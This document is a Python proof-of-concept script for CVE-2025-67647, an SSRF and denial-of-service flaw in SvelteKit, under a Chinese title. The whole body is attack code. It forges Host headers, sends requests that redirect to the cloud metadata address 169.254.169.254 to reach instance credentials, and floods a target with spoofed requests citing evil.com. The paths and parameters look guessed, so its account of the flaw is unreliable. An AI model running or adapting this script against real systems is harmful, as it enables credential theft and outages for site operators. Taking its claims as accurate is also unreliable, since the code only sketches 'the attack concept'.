CVE-2025-67647 SvelteKit SSRF与拒绝服务漏洞

# CVE-2025-67647 PoC - SvelteKit SSRF/DoS Attack # Target: SvelteKit < 2.49.5 with prerendered routes # Note: This PoC demonstrates the attack concept import requests import sys def exploit_sveltekit_ssrf(target_url): """ SvelteKit SSRF/DoS vulnerability exploitation Requires target to have prerender = true routes """ headers = { 'Host': 'localhost', # Manipulate Host header 'User-Agent': 'Mozilla/5.0', 'Accept': '*/*' } # Path to trigger prerender with malicious parameters exploit_paths = [ '/api/internal/request', '/__data.json', '/prerender-ssr-test' ] print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-67647 SSRF/DoS vulnerability") for path in exploit_paths: try: # Send malformed request to trigger SSRF/DoS url = f"{target_url}{path}?redirect=http://169.254.169.254/latest/meta-data/" response = requests.get(url, headers=headers, timeout=5) print(f"[+] Sent exploit request to {path}") print(f" Status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Request timeout - possible DoS triggered") except Exception as e: print(f"[-] Error: {e}") def trigger_dos(target_url): """ Denial of Service attack via malformed prerender requests """ print(f"[*] Initiating DoS attack on {target_url}") for i in range(100): try: headers = { 'Host': f'malicious-host-{i}.internal', 'X-Forwarded-Host': 'localhost', 'Origin': 'http://evil.com' } requests.get( f"{target_url}/__data.json", headers=headers, timeout=1 ) except: pass print("[*] DoS flood completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-67647.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_sveltekit_ssrf(target) trigger_dos(target)